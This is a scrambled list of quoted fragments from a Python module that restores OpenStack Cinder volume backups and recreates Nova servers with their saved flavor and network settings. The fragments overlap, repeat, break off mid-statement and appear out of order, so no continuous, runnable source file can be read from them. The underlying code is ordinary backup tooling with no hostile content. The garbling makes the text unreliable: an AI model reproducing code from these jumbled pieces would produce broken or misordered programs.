"backup_meta_data.values()])) def select_by_tag(self, tag): if tag == 'last': selected_backup_timestamp =", "dev_name = \"vd\" + chr(ord('a') + vol_index) block_device_mapping[dev_name] = new_volume_id", "id saved_networks = loads(restored_volume.metadata['osvb_network']) if not skip_vm: nics = []", "raise UnexpectedStatus(what=resource, intermediate=allowed_states, final=expected_states) return resource class BackupException(Exception): def __init__(self,", "Load metadata from the backup description field self.backup_meta_data = backup_meta_data", "= self.available_backups[-1] else: raise BackupTooMany(tag) # Get volumes associated with", "in enumerate(self.selected_backups): vol_index = self.backup_meta_data[backup_id]['vol_index'] new_volume_id = new_volume_list[i].id vprint(\"Restoring from", "intermediate self.final = final def __str__(self): if self.intermediate or self.final:", "sorted(set([b['backup_time'] for b in backup_meta_data.values()])) def select_by_tag(self, tag): if tag", "self.backup_list: meta_data = loads(backup.description) backup_meta_data[backup.id] = meta_data self.volume_map[backup.id] = {\"id\":", "meta_data self.volume_map[backup.id] = {\"id\": backup.volume_id, \"size\": backup.size} self.available_backups = sorted(set([b['backup_time']", "# name to id saved_networks = loads(restored_volume.metadata['osvb_network']) if not skip_vm:", "= 10 def __init__(self, serverName): self.selected_metadata = None self.selected_backups =", "up and running :return: The most updated resource \"\"\" if", "expected_states and resource.status not in expected_states: raise UnexpectedStatus(what=resource, intermediate=allowed_states, final=expected_states)", "nova_client.Client(VERSION, session=target_session) server = target_nova.servers.create( name=name, image=None, flavor=flavor, block_device_mapping=block_device_mapping, nics=nics", "The most updated resource \"\"\" if timeout: deadline = time()", ":param resource: Resource we want to wait for :param allowed_states:", "*args, **kwargs) self.intermediate = intermediate self.final = final def __str__(self):", "restore\") target_session = get_session(to_project) target_cinder = cinder_client.Client(VERSION, session=target_session) vol_list =", "server.id) def _create_volumes(self, volume_list, to_project): \"\"\" Create volumes based \"\"\"", "BackupTooMany(tag) # Get volumes associated with the selected backup for", "= restored_volume.metadata['osvb_flavor'] flavor = self.nova.flavors.find(name=flavor) # name to id saved_networks", "= new_volume_list[i].id vprint(\"Restoring from backup\", backup_id, \"to volume\", new_volume_id) dev_name", "instance\", server.id) def _create_volumes(self, volume_list, to_project): \"\"\" Create volumes based", "sleep class BackupGroup(object): max_secs_gbi = 300 poll_delay = 10 def", "block_device_mapping[dev_name] = new_volume_id restore = self.cinder.restores.restore(backup_id=backup_id, volume_id=new_volume_id) restored_volume = self.cinder.volumes.get(restore.volume_id)", "print_function from json import loads from neutronclient.v2_0 import client as", "resource = resource.manager.get(resource.id) if expected_states and resource.status not in expected_states:", "new_volume_id restore = self.cinder.restores.restore(backup_id=backup_id, volume_id=new_volume_id) restored_volume = self.cinder.volumes.get(restore.volume_id) self._wait_for(restored_volume, ('restoring-backup',),", "intermediate=allowed_states, final=expected_states) return resource class BackupException(Exception): def __init__(self, what, *args,", "to come to a specific state. :param resource: Resource we", "meta_data = loads(backup.description) backup_meta_data[backup.id] = meta_data self.volume_map[backup.id] = {\"id\": backup.volume_id,", "self.what) class UnexpectedStatus(BackupException): def __init__(self, what, intermediate='', final='', *args, **kwargs):", "with allowed intermediary states :param expected_states: states we expect to", "b in backup_meta_data.values()])) def select_by_tag(self, tag): if tag == 'last':", "resource.manager.get(resource.id) if expected_states and resource.status not in expected_states: raise UnexpectedStatus(what=resource,", "service to be up and running :return: The most updated", "target_nova.servers.create( name=name, image=None, flavor=flavor, block_device_mapping=block_device_mapping, nics=nics ) print(\"Server was restored", "get again to refresh the metadata restored_volume = self.cinder.volumes.get(restore.volume_id) if", "as neutron_client from novaclient import client as nova_client from cinderclient", "We need to get again to refresh the metadata restored_volume", "backup_id in enumerate(self.selected_backups): vol_index = self.backup_meta_data[backup_id]['vol_index'] new_volume_id = new_volume_list[i].id vprint(\"Restoring", "self.volume_map = {} if len(self.backup_list) == 0: raise BackupNotFound(serverName) #", "self).__init__(*args, **kwargs) self.what = what def __str__(self): return u'%s: %s'", "cinder_client.Client(VERSION, session=target_session) vol_list = [] for volume in volume_list: vprint(\"Creating", "= ServerInstance(serverName) except ServerNotFound: name = 'osvb_'+serverName else: name =", "vprint from time import time, sleep class BackupGroup(object): max_secs_gbi =", "\"\"\"Waits for a resource to come to a specific state.", "*args, **kwargs): super(BackupException, self).__init__(*args, **kwargs) self.what = what def __str__(self):", "self.intermediate = intermediate self.final = final def __str__(self): if self.intermediate", "self.selected_metadata = None self.selected_backups = [] self.selected_volumes = [] session", "def __str__(self): if self.intermediate or self.final: steps = (' [intermediate:", "= [] session = self.session = get_session() self.neutron = neutron_client.Client(session=session)", "server = ServerInstance(serverName) except ServerNotFound: name = 'osvb_'+serverName else: name", "if tag == 'last': selected_backup_timestamp = self.available_backups[-1] else: raise BackupTooMany(tag)", "some complex server instances related operations # from __future__ import", "ServerNotFound from osvolbackup.osauth import get_session, VERSION from osvolbackup.verbose import vprint", "get_session, VERSION from osvolbackup.verbose import vprint from time import time,", "if not skip_vm: name = restored_volume.metadata['osvb_name'] flavor = restored_volume.metadata['osvb_flavor'] flavor", "self.cinder.restores.restore(backup_id=backup_id, volume_id=new_volume_id) restored_volume = self.cinder.volumes.get(restore.volume_id) self._wait_for(restored_volume, ('restoring-backup',), 'available') # We", "that encapsulate some complex server instances related operations # from", "= time() + timeout else: deadline = time() + (self.max_secs_gbi", "if deadline <= time(): raise TimeoutError(what=resource) resource = resource.manager.get(resource.id) if", "loads from neutronclient.v2_0 import client as neutron_client from novaclient import", "(self.intermediate, self.final)) else: steps = '' return (u'%s: Status is", "class BackupGroup(object): max_secs_gbi = 300 poll_delay = 10 def __init__(self,", "steps = '' return (u'%s: Status is %s%s' % (self.__class__.__name__,", "neutronclient.v2_0 import client as neutron_client from novaclient import client as", "# This module provides the Instance class that encapsulate some", "import client as nova_client from cinderclient import client as cinder_client", "= \"vd\" + chr(ord('a') + vol_index) block_device_mapping[dev_name] = new_volume_id restore", "osvolbackup.osauth import get_session, VERSION from osvolbackup.verbose import vprint from time", "class BackupException(Exception): def __init__(self, what, *args, **kwargs): super(BackupException, self).__init__(*args, **kwargs)", "from novaclient import client as nova_client from cinderclient import client", "i, backup_id in enumerate(self.selected_backups): vol_index = self.backup_meta_data[backup_id]['vol_index'] new_volume_id = new_volume_list[i].id", "self.selected_volumes = [] session = self.session = get_session() self.neutron =", "\"vd\" + chr(ord('a') + vol_index) block_device_mapping[dev_name] = new_volume_id restore =", "to_project): \"\"\" Create volumes based \"\"\" vprint(\"Creating volumes for the", "enumerate(self.selected_backups): vol_index = self.backup_meta_data[backup_id]['vol_index'] new_volume_id = new_volume_list[i].id vprint(\"Restoring from backup\",", "if not skip_vm: nics = [] if network is not", "states :param expected_states: states we expect to have at the", "poll_delay = 10 def __init__(self, serverName): self.selected_metadata = None self.selected_backups", "get_session(to_project) target_cinder = cinder_client.Client(VERSION, session=target_session) vol_list = [] for volume", "in volume_list: vprint(\"Creating %dG volume\" % volume['size']) new_volume = target_cinder.volumes.create(volume['size'])", "allowed_states, expected_states=None, timeout=None): \"\"\"Waits for a resource to come to", "If wee need backup service to be up and running", "'available') vol_list.append(new_volume) return vol_list # Borrowed from https://github.com/Akrog/cinderback/blob/master/cinderback.py def _wait_for(self,", "saved_networks = loads(restored_volume.metadata['osvb_network']) if not skip_vm: nics = [] if", "from osvolbackup.server import ServerInstance, ServerNotFound from osvolbackup.osauth import get_session, VERSION", "tag): if tag == 'last': selected_backup_timestamp = self.available_backups[-1] else: raise", "except ServerNotFound: name = 'osvb_'+serverName else: name = 'osvb_'+server.instance.id self.backup_list", "wee need backup service to be up and running :return:", "session = self.session = get_session() self.neutron = neutron_client.Client(session=session) self.nova =", "max_secs_gbi = 300 poll_delay = 10 def __init__(self, serverName): self.selected_metadata", "else: raise BackupTooMany(tag) # Get volumes associated with the selected", "\"to volume\", new_volume_id) dev_name = \"vd\" + chr(ord('a') + vol_index)", "for a resource to come to a specific state. :param", "volume\", new_volume_id) dev_name = \"vd\" + chr(ord('a') + vol_index) block_device_mapping[dev_name]", "= nova_client.Client(VERSION, session=session) self.cinder = cinder_client.Client(VERSION, session=session) try: server =", "try: server = ServerInstance(serverName) except ServerNotFound: name = 'osvb_'+serverName else:", "field self.backup_meta_data = backup_meta_data = {} for backup in self.backup_list:", "selected_backup_timestamp = self.available_backups[-1] else: raise BackupTooMany(tag) # Get volumes associated", "final: %s]' % (self.intermediate, self.final)) else: steps = '' return", "session=target_session) vol_list = [] for volume in volume_list: vprint(\"Creating %dG", "vol_list.append(new_volume) return vol_list # Borrowed from https://github.com/Akrog/cinderback/blob/master/cinderback.py def _wait_for(self, resource,", "= {\"id\": backup.volume_id, \"size\": backup.size} self.available_backups = sorted(set([b['backup_time'] for b", "self.neutron.list_networks(name=net_name)['networks'][0]['id'] nic_info = {'net-id': net_id, 'v4-fixed-ip': net_ip} nics.append(nic_info) else: for", "if None is supplied then anything is good. :param need_up:", "server=None, network=None, to_project=None, skip_vm=False): # flavor = self.nova.flavors.find(name=self.selected_metadata['flavor']) new_volume_list =", "target_session = get_session(to_project) target_nova = nova_client.Client(VERSION, session=target_session) server = target_nova.servers.create(", "new_volume_id = new_volume_list[i].id vprint(\"Restoring from backup\", backup_id, \"to volume\", new_volume_id)", "+ vol_index) block_device_mapping[dev_name] = new_volume_id restore = self.cinder.restores.restore(backup_id=backup_id, volume_id=new_volume_id) restored_volume", "flavor = self.nova.flavors.find(name=self.selected_metadata['flavor']) new_volume_list = self._create_volumes(self.selected_volumes, to_project) # Restore the", "restored into instance\", server.id) def _create_volumes(self, volume_list, to_project): \"\"\" Create", "nics.append(nic_info) else: for network_name, network_ips in saved_networks.iteritems(): nic_info = {}", "return u'%s: %s' % (self.__class__.__name__, self.what) class UnexpectedStatus(BackupException): def __init__(self,", "flavor = restored_volume.metadata['osvb_flavor'] flavor = self.nova.flavors.find(name=flavor) # name to id", "for volume in volume_list: vprint(\"Creating %dG volume\" % volume['size']) new_volume", "need to get again to refresh the metadata restored_volume =", "(' [intermediate: %s, final: %s]' % (self.intermediate, self.final)) else: steps", "= '' return (u'%s: Status is %s%s' % (self.__class__.__name__, self.what.status,", "\"size\": backup.size} self.available_backups = sorted(set([b['backup_time'] for b in backup_meta_data.values()])) def", "from osvolbackup.verbose import vprint from time import time, sleep class", "len(self.backup_list) == 0: raise BackupNotFound(serverName) # Load metadata from the", "vol_index) block_device_mapping[dev_name] = new_volume_id restore = self.cinder.restores.restore(backup_id=backup_id, volume_id=new_volume_id) restored_volume =", "network is not None: net_name, net_ip = network.split(\"=\") net_id =", "def restore(self, server=None, network=None, to_project=None, skip_vm=False): # flavor = self.nova.flavors.find(name=self.selected_metadata['flavor'])", "def select_by_tag(self, tag): if tag == 'last': selected_backup_timestamp = self.available_backups[-1]", "was restored into instance\", server.id) def _create_volumes(self, volume_list, to_project): \"\"\"", "and resource.status not in expected_states: raise UnexpectedStatus(what=resource, intermediate=allowed_states, final=expected_states) return", "%s' % (self.__class__.__name__, self.what) class UnexpectedStatus(BackupException): def __init__(self, what, intermediate='',", "*args, **kwargs): super(UnexpectedStatus, self).__init__(what, *args, **kwargs) self.intermediate = intermediate self.final", "json import loads from neutronclient.v2_0 import client as neutron_client from", "in self.backup_meta_data.iteritems(): if backup_meta['backup_time'] == selected_backup_timestamp: self.selected_backups.append(backup_id) self.selected_volumes.append(self.volume_map[backup_id]) self.selected_metadata =", "vol_list = [] for volume in volume_list: vprint(\"Creating %dG volume\"", "new_volume_id) dev_name = \"vd\" + chr(ord('a') + vol_index) block_device_mapping[dev_name] =", "TimeoutError(what=resource) resource = resource.manager.get(resource.id) if expected_states and resource.status not in", "sleep(self.poll_delay) if deadline <= time(): raise TimeoutError(what=resource) resource = resource.manager.get(resource.id)", "nova_client from cinderclient import client as cinder_client from osvolbackup.server import", "the backup description field self.backup_meta_data = backup_meta_data = {} for", "'osvb_'+server.instance.id self.backup_list = self.cinder.backups.list(search_opts={\"name\": name}) self.volume_map = {} if len(self.backup_list)", "to id saved_networks = loads(restored_volume.metadata['osvb_network']) if not skip_vm: nics =", "while resource.status in allowed_states: sleep(self.poll_delay) if deadline <= time(): raise", "def _wait_for(self, resource, allowed_states, expected_states=None, timeout=None): \"\"\"Waits for a resource", "vprint(\"Creating volumes for the instance restore\") target_session = get_session(to_project) target_cinder", "not None: net_name, net_ip = network.split(\"=\") net_id = self.neutron.list_networks(name=net_name)['networks'][0]['id'] nic_info", "target_cinder.volumes.create(volume['size']) self._wait_for(new_volume, ('creating',), 'available') vol_list.append(new_volume) return vol_list # Borrowed from", "def __init__(self, what, intermediate='', final='', *args, **kwargs): super(UnexpectedStatus, self).__init__(what, *args,", "self.neutron = neutron_client.Client(session=session) self.nova = nova_client.Client(VERSION, session=session) self.cinder = cinder_client.Client(VERSION,", "Get volumes associated with the selected backup for backup_id, backup_meta", "self.cinder.volumes.get(restore.volume_id) if vol_index == 0: if not skip_vm: name =", "self.final)) else: steps = '' return (u'%s: Status is %s%s'", "Resource we want to wait for :param allowed_states: iterator with", "flavor = self.nova.flavors.find(name=flavor) # name to id saved_networks = loads(restored_volume.metadata['osvb_network'])", "intermediary states :param expected_states: states we expect to have at", "= self.neutron.list_networks(name=network_name)['networks'][0]['id'] nic_info['v4-fixed-ip'] = network_ips[0] nics.append(nic_info) target_session = get_session(to_project) target_nova", "https://github.com/Akrog/cinderback/blob/master/cinderback.py def _wait_for(self, resource, allowed_states, expected_states=None, timeout=None): \"\"\"Waits for a", "__str__(self): if self.intermediate or self.final: steps = (' [intermediate: %s,", "0: raise BackupNotFound(serverName) # Load metadata from the backup description", "most updated resource \"\"\" if timeout: deadline = time() +", "None self.selected_backups = [] self.selected_volumes = [] session = self.session", "loads(restored_volume.metadata['osvb_network']) if not skip_vm: nics = [] if network is", "VERSION from osvolbackup.verbose import vprint from time import time, sleep", "= self.neutron.list_networks(name=net_name)['networks'][0]['id'] nic_info = {'net-id': net_id, 'v4-fixed-ip': net_ip} nics.append(nic_info) else:", "= sorted(set([b['backup_time'] for b in backup_meta_data.values()])) def select_by_tag(self, tag): if", "at the end, if None is supplied then anything is", "= get_session(to_project) target_nova = nova_client.Client(VERSION, session=target_session) server = target_nova.servers.create( name=name,", "nics=nics ) print(\"Server was restored into instance\", server.id) def _create_volumes(self,", "time(): raise TimeoutError(what=resource) resource = resource.manager.get(resource.id) if expected_states and resource.status", "if len(self.backup_list) == 0: raise BackupNotFound(serverName) # Load metadata from", "_wait_for(self, resource, allowed_states, expected_states=None, timeout=None): \"\"\"Waits for a resource to", "= loads(restored_volume.metadata['osvb_network']) if not skip_vm: nics = [] if network", "= self._create_volumes(self.selected_volumes, to_project) # Restore the volumes block_device_mapping = {}", "need backup service to be up and running :return: The", "deadline = time() + timeout else: deadline = time() +", "volume_list: vprint(\"Creating %dG volume\" % volume['size']) new_volume = target_cinder.volumes.create(volume['size']) self._wait_for(new_volume,", "'' return (u'%s: Status is %s%s' % (self.__class__.__name__, self.what.status, steps))", ":param expected_states: states we expect to have at the end,", "selected_backup_timestamp: self.selected_backups.append(backup_id) self.selected_volumes.append(self.volume_map[backup_id]) self.selected_metadata = backup_meta def get_volumes(self): return self.selected_volumes", "net_ip = network.split(\"=\") net_id = self.neutron.list_networks(name=net_name)['networks'][0]['id'] nic_info = {'net-id': net_id,", "novaclient import client as nova_client from cinderclient import client as", "operations # from __future__ import print_function from json import loads", "== selected_backup_timestamp: self.selected_backups.append(backup_id) self.selected_volumes.append(self.volume_map[backup_id]) self.selected_metadata = backup_meta def get_volumes(self): return", "None: net_name, net_ip = network.split(\"=\") net_id = self.neutron.list_networks(name=net_name)['networks'][0]['id'] nic_info =", "= self.cinder.backups.list(search_opts={\"name\": name}) self.volume_map = {} if len(self.backup_list) == 0:", "= network_ips[0] nics.append(nic_info) target_session = get_session(to_project) target_nova = nova_client.Client(VERSION, session=target_session)", "= {'net-id': net_id, 'v4-fixed-ip': net_ip} nics.append(nic_info) else: for network_name, network_ips", "name = 'osvb_'+server.instance.id self.backup_list = self.cinder.backups.list(search_opts={\"name\": name}) self.volume_map = {}", "{} if len(self.backup_list) == 0: raise BackupNotFound(serverName) # Load metadata", "self.neutron.list_networks(name=network_name)['networks'][0]['id'] nic_info['v4-fixed-ip'] = network_ips[0] nics.append(nic_info) target_session = get_session(to_project) target_nova =", "from the backup description field self.backup_meta_data = backup_meta_data = {}", "= intermediate self.final = final def __str__(self): if self.intermediate or", "= what def __str__(self): return u'%s: %s' % (self.__class__.__name__, self.what)", "name}) self.volume_map = {} if len(self.backup_list) == 0: raise BackupNotFound(serverName)", "network_ips[0] nics.append(nic_info) target_session = get_session(to_project) target_nova = nova_client.Client(VERSION, session=target_session) server", "block_device_mapping = {} for i, backup_id in enumerate(self.selected_backups): vol_index =", "= self.session = get_session() self.neutron = neutron_client.Client(session=session) self.nova = nova_client.Client(VERSION,", "= self.cinder.volumes.get(restore.volume_id) if vol_index == 0: if not skip_vm: name", "or self.final: steps = (' [intermediate: %s, final: %s]' %", "class that encapsulate some complex server instances related operations #", "= 'osvb_'+server.instance.id self.backup_list = self.cinder.backups.list(search_opts={\"name\": name}) self.volume_map = {} if", "network=None, to_project=None, skip_vm=False): # flavor = self.nova.flavors.find(name=self.selected_metadata['flavor']) new_volume_list = self._create_volumes(self.selected_volumes,", "not in expected_states: raise UnexpectedStatus(what=resource, intermediate=allowed_states, final=expected_states) return resource class", "what, intermediate='', final='', *args, **kwargs): super(UnexpectedStatus, self).__init__(what, *args, **kwargs) self.intermediate", "+ (self.max_secs_gbi * resource.size) while resource.status in allowed_states: sleep(self.poll_delay) if", "\"\"\" vprint(\"Creating volumes for the instance restore\") target_session = get_session(to_project)", "to a specific state. :param resource: Resource we want to", "u'%s: %s' % (self.__class__.__name__, self.what) class UnexpectedStatus(BackupException): def __init__(self, what,", "osvolbackup.server import ServerInstance, ServerNotFound from osvolbackup.osauth import get_session, VERSION from", "= {} for i, backup_id in enumerate(self.selected_backups): vol_index = self.backup_meta_data[backup_id]['vol_index']", "backup.volume_id, \"size\": backup.size} self.available_backups = sorted(set([b['backup_time'] for b in backup_meta_data.values()]))", "from cinderclient import client as cinder_client from osvolbackup.server import ServerInstance,", "get_session(to_project) target_nova = nova_client.Client(VERSION, session=target_session) server = target_nova.servers.create( name=name, image=None,", "is not None: net_name, net_ip = network.split(\"=\") net_id = self.neutron.list_networks(name=net_name)['networks'][0]['id']", "__future__ import print_function from json import loads from neutronclient.v2_0 import", "vprint(\"Restoring from backup\", backup_id, \"to volume\", new_volume_id) dev_name = \"vd\"", "image=None, flavor=flavor, block_device_mapping=block_device_mapping, nics=nics ) print(\"Server was restored into instance\",", "BackupNotFound(serverName) # Load metadata from the backup description field self.backup_meta_data", "supplied then anything is good. :param need_up: If wee need", "This module provides the Instance class that encapsulate some complex", "[] self.selected_volumes = [] session = self.session = get_session() self.neutron", "in allowed_states: sleep(self.poll_delay) if deadline <= time(): raise TimeoutError(what=resource) resource", "need_up: If wee need backup service to be up and", "[] session = self.session = get_session() self.neutron = neutron_client.Client(session=session) self.nova", "to wait for :param allowed_states: iterator with allowed intermediary states", "ServerInstance(serverName) except ServerNotFound: name = 'osvb_'+serverName else: name = 'osvb_'+server.instance.id", "backup description field self.backup_meta_data = backup_meta_data = {} for backup", "UnexpectedStatus(BackupException): def __init__(self, what, intermediate='', final='', *args, **kwargs): super(UnexpectedStatus, self).__init__(what,", "[intermediate: %s, final: %s]' % (self.intermediate, self.final)) else: steps =", "def __init__(self, serverName): self.selected_metadata = None self.selected_backups = [] self.selected_volumes", "allowed_states: sleep(self.poll_delay) if deadline <= time(): raise TimeoutError(what=resource) resource =", "import print_function from json import loads from neutronclient.v2_0 import client", "import get_session, VERSION from osvolbackup.verbose import vprint from time import", "network.split(\"=\") net_id = self.neutron.list_networks(name=net_name)['networks'][0]['id'] nic_info = {'net-id': net_id, 'v4-fixed-ip': net_ip}", "for backup_id, backup_meta in self.backup_meta_data.iteritems(): if backup_meta['backup_time'] == selected_backup_timestamp: self.selected_backups.append(backup_id)", "in saved_networks.iteritems(): nic_info = {} nic_info['net-id'] = self.neutron.list_networks(name=network_name)['networks'][0]['id'] nic_info['v4-fixed-ip'] =", "else: steps = '' return (u'%s: Status is %s%s' %", "backup.size} self.available_backups = sorted(set([b['backup_time'] for b in backup_meta_data.values()])) def select_by_tag(self,", "= resource.manager.get(resource.id) if expected_states and resource.status not in expected_states: raise", "_create_volumes(self, volume_list, to_project): \"\"\" Create volumes based \"\"\" vprint(\"Creating volumes", "if network is not None: net_name, net_ip = network.split(\"=\") net_id", "def __init__(self, what, *args, **kwargs): super(BackupException, self).__init__(*args, **kwargs) self.what =", "in self.backup_list: meta_data = loads(backup.description) backup_meta_data[backup.id] = meta_data self.volume_map[backup.id] =", "<= time(): raise TimeoutError(what=resource) resource = resource.manager.get(resource.id) if expected_states and", "volumes for the instance restore\") target_session = get_session(to_project) target_cinder =", "backup_id, \"to volume\", new_volume_id) dev_name = \"vd\" + chr(ord('a') +", "description field self.backup_meta_data = backup_meta_data = {} for backup in", "= target_nova.servers.create( name=name, image=None, flavor=flavor, block_device_mapping=block_device_mapping, nics=nics ) print(\"Server was", "raise BackupTooMany(tag) # Get volumes associated with the selected backup", "self._wait_for(new_volume, ('creating',), 'available') vol_list.append(new_volume) return vol_list # Borrowed from https://github.com/Akrog/cinderback/blob/master/cinderback.py", "select_by_tag(self, tag): if tag == 'last': selected_backup_timestamp = self.available_backups[-1] else:", ":param need_up: If wee need backup service to be up", "# We need to get again to refresh the metadata", "= backup_meta def get_volumes(self): return self.selected_volumes def restore(self, server=None, network=None,", "the volumes block_device_mapping = {} for i, backup_id in enumerate(self.selected_backups):", "def _create_volumes(self, volume_list, to_project): \"\"\" Create volumes based \"\"\" vprint(\"Creating", "= loads(backup.description) backup_meta_data[backup.id] = meta_data self.volume_map[backup.id] = {\"id\": backup.volume_id, \"size\":", "for :param allowed_states: iterator with allowed intermediary states :param expected_states:", "the Instance class that encapsulate some complex server instances related", "backup in self.backup_list: meta_data = loads(backup.description) backup_meta_data[backup.id] = meta_data self.volume_map[backup.id]", "\"\"\" Create volumes based \"\"\" vprint(\"Creating volumes for the instance", "restored_volume = self.cinder.volumes.get(restore.volume_id) self._wait_for(restored_volume, ('restoring-backup',), 'available') # We need to", "client as neutron_client from novaclient import client as nova_client from", "to_project) # Restore the volumes block_device_mapping = {} for i,", "# # This module provides the Instance class that encapsulate", "{} for backup in self.backup_list: meta_data = loads(backup.description) backup_meta_data[backup.id] =", "Restore the volumes block_device_mapping = {} for i, backup_id in", "= get_session(to_project) target_cinder = cinder_client.Client(VERSION, session=target_session) vol_list = [] for", "resource: Resource we want to wait for :param allowed_states: iterator", "= new_volume_id restore = self.cinder.restores.restore(backup_id=backup_id, volume_id=new_volume_id) restored_volume = self.cinder.volumes.get(restore.volume_id) self._wait_for(restored_volume,", "self.selected_volumes.append(self.volume_map[backup_id]) self.selected_metadata = backup_meta def get_volumes(self): return self.selected_volumes def restore(self,", "[] if network is not None: net_name, net_ip = network.split(\"=\")", "self.intermediate or self.final: steps = (' [intermediate: %s, final: %s]'", "cinder_client from osvolbackup.server import ServerInstance, ServerNotFound from osvolbackup.osauth import get_session,", "expected_states=None, timeout=None): \"\"\"Waits for a resource to come to a", "print(\"Server was restored into instance\", server.id) def _create_volumes(self, volume_list, to_project):", "intermediate='', final='', *args, **kwargs): super(UnexpectedStatus, self).__init__(what, *args, **kwargs) self.intermediate =", "= time() + (self.max_secs_gbi * resource.size) while resource.status in allowed_states:", "to_project=None, skip_vm=False): # flavor = self.nova.flavors.find(name=self.selected_metadata['flavor']) new_volume_list = self._create_volumes(self.selected_volumes, to_project)", "timeout: deadline = time() + timeout else: deadline = time()", "(u'%s: Status is %s%s' % (self.__class__.__name__, self.what.status, steps)) class BackupNotFound(BackupException):", "if backup_meta['backup_time'] == selected_backup_timestamp: self.selected_backups.append(backup_id) self.selected_volumes.append(self.volume_map[backup_id]) self.selected_metadata = backup_meta def", "instance restore\") target_session = get_session(to_project) target_cinder = cinder_client.Client(VERSION, session=target_session) vol_list", "else: name = 'osvb_'+server.instance.id self.backup_list = self.cinder.backups.list(search_opts={\"name\": name}) self.volume_map =", ":return: The most updated resource \"\"\" if timeout: deadline =", "instances related operations # from __future__ import print_function from json", "for the instance restore\") target_session = get_session(to_project) target_cinder = cinder_client.Client(VERSION,", "# from __future__ import print_function from json import loads from", "session=session) self.cinder = cinder_client.Client(VERSION, session=session) try: server = ServerInstance(serverName) except", "resource, allowed_states, expected_states=None, timeout=None): \"\"\"Waits for a resource to come", "if expected_states and resource.status not in expected_states: raise UnexpectedStatus(what=resource, intermediate=allowed_states,", "if timeout: deadline = time() + timeout else: deadline =", "= target_cinder.volumes.create(volume['size']) self._wait_for(new_volume, ('creating',), 'available') vol_list.append(new_volume) return vol_list # Borrowed", "Borrowed from https://github.com/Akrog/cinderback/blob/master/cinderback.py def _wait_for(self, resource, allowed_states, expected_states=None, timeout=None): \"\"\"Waits", "= self.cinder.restores.restore(backup_id=backup_id, volume_id=new_volume_id) restored_volume = self.cinder.volumes.get(restore.volume_id) self._wait_for(restored_volume, ('restoring-backup',), 'available') #", "to get again to refresh the metadata restored_volume = self.cinder.volumes.get(restore.volume_id)", "% volume['size']) new_volume = target_cinder.volumes.create(volume['size']) self._wait_for(new_volume, ('creating',), 'available') vol_list.append(new_volume) return", "self.cinder.volumes.get(restore.volume_id) self._wait_for(restored_volume, ('restoring-backup',), 'available') # We need to get again", "for backup in self.backup_list: meta_data = loads(backup.description) backup_meta_data[backup.id] = meta_data", "**kwargs): super(UnexpectedStatus, self).__init__(what, *args, **kwargs) self.intermediate = intermediate self.final =", "vol_list # Borrowed from https://github.com/Akrog/cinderback/blob/master/cinderback.py def _wait_for(self, resource, allowed_states, expected_states=None,", "from __future__ import print_function from json import loads from neutronclient.v2_0", "self.nova.flavors.find(name=flavor) # name to id saved_networks = loads(restored_volume.metadata['osvb_network']) if not", "module provides the Instance class that encapsulate some complex server", "{'net-id': net_id, 'v4-fixed-ip': net_ip} nics.append(nic_info) else: for network_name, network_ips in", "backup_meta_data = {} for backup in self.backup_list: meta_data = loads(backup.description)", "volume['size']) new_volume = target_cinder.volumes.create(volume['size']) self._wait_for(new_volume, ('creating',), 'available') vol_list.append(new_volume) return vol_list", "in backup_meta_data.values()])) def select_by_tag(self, tag): if tag == 'last': selected_backup_timestamp", "what def __str__(self): return u'%s: %s' % (self.__class__.__name__, self.what) class", "volume\" % volume['size']) new_volume = target_cinder.volumes.create(volume['size']) self._wait_for(new_volume, ('creating',), 'available') vol_list.append(new_volume)", "self.available_backups = sorted(set([b['backup_time'] for b in backup_meta_data.values()])) def select_by_tag(self, tag):", "have at the end, if None is supplied then anything", "metadata restored_volume = self.cinder.volumes.get(restore.volume_id) if vol_index == 0: if not", "for b in backup_meta_data.values()])) def select_by_tag(self, tag): if tag ==", "self.nova = nova_client.Client(VERSION, session=session) self.cinder = cinder_client.Client(VERSION, session=session) try: server", "import client as cinder_client from osvolbackup.server import ServerInstance, ServerNotFound from", "self.cinder = cinder_client.Client(VERSION, session=session) try: server = ServerInstance(serverName) except ServerNotFound:", "self._create_volumes(self.selected_volumes, to_project) # Restore the volumes block_device_mapping = {} for", "return (u'%s: Status is %s%s' % (self.__class__.__name__, self.what.status, steps)) class", "we want to wait for :param allowed_states: iterator with allowed", "allowed intermediary states :param expected_states: states we expect to have", "self.selected_volumes def restore(self, server=None, network=None, to_project=None, skip_vm=False): # flavor =", "restore(self, server=None, network=None, to_project=None, skip_vm=False): # flavor = self.nova.flavors.find(name=self.selected_metadata['flavor']) new_volume_list", "time import time, sleep class BackupGroup(object): max_secs_gbi = 300 poll_delay", "BackupGroup(object): max_secs_gbi = 300 poll_delay = 10 def __init__(self, serverName):", "based \"\"\" vprint(\"Creating volumes for the instance restore\") target_session =", "# flavor = self.nova.flavors.find(name=self.selected_metadata['flavor']) new_volume_list = self._create_volumes(self.selected_volumes, to_project) # Restore", "if vol_index == 0: if not skip_vm: name = restored_volume.metadata['osvb_name']", "flavor=flavor, block_device_mapping=block_device_mapping, nics=nics ) print(\"Server was restored into instance\", server.id)", "= {} nic_info['net-id'] = self.neutron.list_networks(name=network_name)['networks'][0]['id'] nic_info['v4-fixed-ip'] = network_ips[0] nics.append(nic_info) target_session", "backup_meta_data[backup.id] = meta_data self.volume_map[backup.id] = {\"id\": backup.volume_id, \"size\": backup.size} self.available_backups", "volume_list, to_project): \"\"\" Create volumes based \"\"\" vprint(\"Creating volumes for", "is good. :param need_up: If wee need backup service to", "(self.max_secs_gbi * resource.size) while resource.status in allowed_states: sleep(self.poll_delay) if deadline", "resource.status not in expected_states: raise UnexpectedStatus(what=resource, intermediate=allowed_states, final=expected_states) return resource", "self.cinder.backups.list(search_opts={\"name\": name}) self.volume_map = {} if len(self.backup_list) == 0: raise", "= self.nova.flavors.find(name=flavor) # name to id saved_networks = loads(restored_volume.metadata['osvb_network']) if", "self.final = final def __str__(self): if self.intermediate or self.final: steps", "expected_states: states we expect to have at the end, if", "new_volume = target_cinder.volumes.create(volume['size']) self._wait_for(new_volume, ('creating',), 'available') vol_list.append(new_volume) return vol_list #", "= get_session() self.neutron = neutron_client.Client(session=session) self.nova = nova_client.Client(VERSION, session=session) self.cinder", "name=name, image=None, flavor=flavor, block_device_mapping=block_device_mapping, nics=nics ) print(\"Server was restored into", "net_id, 'v4-fixed-ip': net_ip} nics.append(nic_info) else: for network_name, network_ips in saved_networks.iteritems():", "we expect to have at the end, if None is", "return vol_list # Borrowed from https://github.com/Akrog/cinderback/blob/master/cinderback.py def _wait_for(self, resource, allowed_states,", "server = target_nova.servers.create( name=name, image=None, flavor=flavor, block_device_mapping=block_device_mapping, nics=nics ) print(\"Server", 